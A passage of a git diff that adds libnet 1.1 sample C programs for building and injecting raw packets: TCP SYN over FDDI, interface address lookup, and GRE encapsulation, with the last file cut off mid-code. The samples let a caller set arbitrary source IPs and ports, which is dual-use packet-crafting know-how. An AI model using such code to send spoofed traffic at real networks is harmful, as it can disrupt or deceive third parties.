+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte dot1x packet from context \"%s\"; "
+ "check the wire.\n", c, libnet_cq_getlabel(l));
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/fddi_tcp1.c b/libnet/sample/fddi_tcp1.c
new file mode 100644
index 0000000..e363333
--- /dev/null
+++ b/libnet/sample/fddi_tcp1.c
@@ -0,0 +1,213 @@
+/*
+ * libnet 1.1
+ * Build a TCP packet to ride on FDDI
+ *
+ * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: TCP (over FDDI) [link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ *
+ * Currently hardcoded for fddi0.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ "fddi0", /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_fddi(
+ LIBNET_FDDI_FC_REQD | 0x04, /* Asynch LLC - priority 4 */
+ fddi_dst, /* fddi destination */
+ fddi_src, /* fddi source */
+ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */
+ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */
+ 0x03, /* Unnumbered info/frame */
+ org_code, /* Organization Code */
+ FDDI_TYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build fddi header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/fddi_tcp2.c b/libnet/sample/fddi_tcp2.c
new file mode 100644
index 0000000..1ed29c0
--- /dev/null
+++ b/libnet/sample/fddi_tcp2.c
@@ -0,0 +1,209 @@
+/*
+ * libnet 1.1
+ * Build a TCP packet to ride on FDDI (autobuild)
+ *
+ * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: TCP (over FDDI) [link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ *
+ * Currently hardcoded for fddi0.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ "fddi0", /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_fddi(
+ LIBNET_FDDI_FC_REQD | 0x04, /* Asynch LLC - priority 4 */
+ fddi_dst, /* fddi destination */
+ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */
+ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */
+ 0x03, /* Unnumbered info/frame */
+ org_code, /* Organization Code */
+ FDDI_TYPE_IP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build fddi header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/get_addr.c b/libnet/sample/get_addr.c
new file mode 100644
index 0000000..7039f35
--- /dev/null
+++ b/libnet/sample/get_addr.c
@@ -0,0 +1,112 @@
+/*
+ * $Id: get_addr.c,v 1.3 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * get_addr.c - Retrieve the MAC and IP address of an interface
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+#ifdef __WIN32__
+#include "../include/win32/getopt.h"
+#endif
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_long i;
+ libnet_t *l;
+ char *device = NULL;
+ struct libnet_ether_addr *e;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 address getter\n");
+
+ while ((c = getopt(argc, argv, "i:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'i':
+ device = optarg;
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ printf("Interface:\t%s\n", libnet_getdevice(l));
+ e = libnet_get_hwaddr(l);
+ if (e == NULL)
+ {
+ fprintf(stderr, "Can't get hardware address: %s\n", libnet_geterror(l));
+ }
+ else
+ {
+ printf("MAC address:\t");
+ for (c = 0; c < 6; c++)
+ {
+ printf("%2.2x", e->ether_addr_octet[c]);
+ if (c != 5)
+ {
+ printf(":");
+ }
+ }
+ printf("\n");
+ }
+
+ i = libnet_get_ipaddr4(l);
+ if (i == -1)
+ {
+ fprintf(stderr, "Can't get ip address: %s\n", libnet_geterror(l));
+ }
+ else
+ {
+ printf("IP address:\t");
+ printf("%s\n", libnet_addr2name4(i, LIBNET_DONT_RESOLVE));
+ }
+ exit(EXIT_SUCCESS);
+}
+
+/* EOF */
diff --git a/libnet/sample/gre.c b/libnet/sample/gre.c
new file mode 100644
index 0000000..fb203b8
--- /dev/null
+++ b/libnet/sample/gre.c
@@ -0,0 +1,410 @@
+/*
+ *
+ * libnet 1.1
+ * Build a GRE packet
+ * To view: tcpdump -s 0 -n -X -vvv proto gre
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ *
+ * KNOWN BUG
+ * the encapsulated headers have wrong checksums. I guess this is due to
+ * the one pass libnet_pblock_coalesce() which is really to complicated :(
+ *
+ *
+ * Default packet:
+ * # ./gre -d 1.2.3.4
+ * libnet 1.1 packet shaping: GRE 1701 [link]
+ * Wrote 78 byte GRE packet; check the wire.
+ *
+ * 18:58:12.112157 192.168.1.2 > 1.2.3.4: gre 198.35.123.50.1234 > 103.69.139.107.53: S [bad tcp cksum 698a!] 16843009:16843009(0) win 32767 (ttl 64, id 242, len 40, bad cksum 0!) (ttl 255, id 255, len 64)
+ * 0x0000 4500 0040 00ff 0000 ff2f f4df c0a8 0102 E..@...../......
+ * 0x0010 0102 0304 0000 0800 4500 0028 00f2 0000 ........E..(....
+ * 0x0020 4006 0000 c623 7b32 6745 8b6b 04d2 0035 @....#{2gE.k...5
+ * 0x0030 0101 0101 0202 0202 5002 7fff 6666 0000 ........P...ff..
+ *
+ * Packet with a computed checksum
+ * # ./gre -d 1.2.3.4 -c 0
+ * libnet 1.1 packet shaping: GRE 1701 [link]
+ * Wrote 82 byte GRE packet; check the wire.
+ *
+ * 18:58:22.587513 192.168.1.2 > 1.2.3.4: gre [Cv0] C:7c62 198.35.123.50.1234 > 103.69.139.107.53: S [bad tcp cksum 698a!] 16843009:16843009(0) win 32767 (ttl 64, id 242, len 40, bad cksum 0!) (ttl 255, id 255, len 68)
+ * 0x0000 4500 0044 00ff 0000 ff2f f4db c0a8 0102 E..D...../......
+ * 0x0010 0102 0304 8000 0800 7c62 0000 4500 0028 ........|b..E..(
+ * 0x0020 00f2 0000 4006 0000 c623 7b32 6745 8b6b ....@....#{2gE.k
+ * 0x0030 04d2 0035 0101 0101 0202 0202 5002 7fff ...5........P...
+ * 0x0040 6666 0000 ff..
+ *
+ *
+ * Packet with a forced checksum
+ * # ./gre -d 1.2.3.4 -c 6666
+ * libnet 1.1 packet shaping: GRE 1701 [link]
+ * Wrote 68 byte GRE packet; check the wire.
+ *
+ * 19:04:12.108080 192.168.1.2 > 1.2.3.4: gre [Cv0] C:1a0a 198.35.123.50.1234 > 103.69.139.107.53: S [bad tcp cksum 698a!] 16843009:16843009(0) win 32767 (ttl 64, id 242, len 40, bad cksum 0!) (ttl 255, id 255, len 68)
+ * 0x0000 4500 0044 00ff 0000 ff2f f4db c0a8 0102 E..D...../......
+ * 0x0010 0102 0304 8000 0800 1a0a 0000 4500 0028 ............E..(
+ * 0x0020 00f2 0000 4006 0000 c623 7b32 6745 8b6b ....@....#{2gE.k
+ * 0x0030 04d2 0035 0101 0101 0202 0202 5002 7fff ...5........P...
+ * 0x0040 6666 0000 ff..
+ *
+ *
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+void
+usage(char *prog)
+{
+ fprintf(stderr, "Usage: %s\n", prog);
+ fprintf(stderr, "\t IP options: -d <dst ip> [-s src ip]\n");
+ fprintf(stderr, "\t GRE options: [-v] set RFC 2637 mode (PPP in GRE) (default is RFC 1701 for IP in GRE)\n");
+ fprintf(stderr, "\t\t RFC 1701 options (IP in GRE):\n");
+ fprintf(stderr, "\t\t [-c sum] [-r routing] [-k key] [-n seqnum]\n");
+ fprintf(stderr, "\t\t IP in GRE options: [-S src ip] [-D dst ip]\n");
+ fprintf(stderr, "\t\t RFC 2637 options (PPP in GRE):\n");
+ fprintf(stderr, "\t\t [-a ack]\n");
+
+ exit(1);
+}
+
+/*
+ * ---------------------------------
+ * | Delivery Header |
+ * ---------------------------------
+ * | GRE Header |
+ * ---------------------------------
+ * | Payload packet |
+ * ---------------------------------
+ */
+int
+main(int argc, char *argv[])
+{
+ char c;
+ libnet_t *l;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ u_long src_ip = 0, dst_ip = 0, gre_src_ip = 0, gre_dst_ip = 0;
+ u_short checksum = 0, offset = 0;
+ u_char *routing = NULL;
+ u_long key = 0, seq = 0;
+ u_short gre_flags = 0;
+ u_long len;
+ u_long size = 0;
+ libnet_ptag_t t;
+
+ printf("libnet 1.1 packet shaping: GRE [link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (!l)
+ {
+ fprintf(stderr, "libnet_init: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * parse options
+ */
+ while ((c = getopt(argc, argv, "d:s:D:S:c:r:k:n:va:")) != EOF)
+ {
+ switch (c)
+ {
+
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'D':
+ if ((gre_dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address (GRE): %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'S':
+ if ((gre_src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address (GRE): %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'c':
+ checksum = atoi(optarg);
+ gre_flags|=GRE_CSUM;
+ break;
+ case 'r':
+ routing = optarg;
+ gre_flags|=GRE_ROUTING;
+ break;
+ case 'k':
+ key = atoi(optarg);
+ gre_flags|=GRE_KEY;
+ break;
+ case 'n':
+ seq = atoi(optarg);
+ gre_flags|=GRE_SEQ;
+ break;
+ case 'v':
+ gre_flags|=(GRE_VERSION_1|GRE_KEY);
+ break;
+ case 'a':
+ if (! (gre_flags & GRE_VERSION_1))
+ usage(argv[0]);
+ seq = atoi(optarg); /* seq in v0 is ack in v1 */
+ gre_flags|=GRE_ACK;
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ /*
+ * check options
+ */
+ if (!dst_ip)
+ {
+ usage(argv[0]);
+ }
+
+ if (!src_ip)
+ {
+ src_ip = libnet_get_ipaddr4(l);
+ }
+
+ if (!gre_dst_ip)
+ {
+ gre_dst_ip = libnet_get_prand(LIBNET_PRu32);
+ }
+
+ if (!gre_src_ip)
+ {
+ gre_src_ip = libnet_get_prand(LIBNET_PRu32);
+ }
+
+
+ if ( (gre_flags & GRE_VERSION_MASK) == 0)
+ {
+ /*
+ * Build a TCP/IP packet embedded in GRE message
+ */
+ size = LIBNET_TCP_H;
+ t = libnet_build_tcp(
+ 1234, /* source port */
+ 53, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ size, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header (GRE): %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ size += LIBNET_IPV4_H;
+ t = libnet_build_ipv4(
+ size, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ gre_src_ip, /* source IP */
+ gre_dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header (GRE): %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+
+ if ( (gre_flags & GRE_VERSION_MASK) == 1)
+ {
+ offset = libnet_get_prand(LIBNET_PRu16);
+ if (~gre_flags & GRE_ACK)
+ {
+ u_char ppp[4] = "\x00\x01"; /* PPP padding */
+ checksum = 2; /* checksum is in fact payload_s in PPP/GRE (v1) */
+ size = 2;
+ gre_flags|=GRE_SEQ;
+ key = libnet_get_prand(LIBNET_PRu32);
+
+ /*
+ * Build a PPP packet embedded in GRE message
+ */
+ t = libnet_build_data(
+ ppp,
+ checksum,
+ l,
+ 0
+ );
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build PPP header (GRE): %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+ gre_flags&=~(GRE_CSUM|GRE_ROUTING);
+ }
+
+ /*
+ * Build the GRE message
+ */
+ if (gre_flags & GRE_ROUTING)
+ {
+ /* as packet are stacked, start by the last one, ie null sre */
+ size += LIBNET_GRE_SRE_H;
+ t = libnet_build_gre_last_sre(l, 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build GRE last SRE header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ size += LIBNET_GRE_SRE_H + strlen(routing);
+ t = libnet_build_gre_sre(
+ GRE_IP, /* address family */
+ 0, /* offset */
+ strlen(routing), /* routing length */
+ routing, /* routing info */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build GRE last SRE header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+
+ len = libnet_getgre_length(gre_flags);
+ size += len;
+ t = libnet_build_gre(
+ gre_flags, /* flags & version */
+ (gre_flags & GRE_VERSION_1 ? GRE_PPP : GRE_IP), /* type */
+ checksum, /* v0: checksum / v1: payload_s */
+ offset, /* v0: offset / v1: callID */
+ key, /* v0: key / v1: seq bum */
+ seq, /* v0: seq num / v1: ack */
+ size, /* length */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build GRE header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+
+ /*
+ * Build the "real" IP header
+ */
+ size+=LIBNET_IPV4_H;
+ t = libnet_build_ipv4(
+ size, /* length */
+ 0, /* TOS */
+ 255, /* IP ID */
+ 0, /* IP Frag */
+ 255, /* TTL */
+ IPPROTO_GRE, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header (GRE): %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_ethernet(
+ "11:11:11:11:11:11", /* ethernet destination */
+ ETHERTYPE_IP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
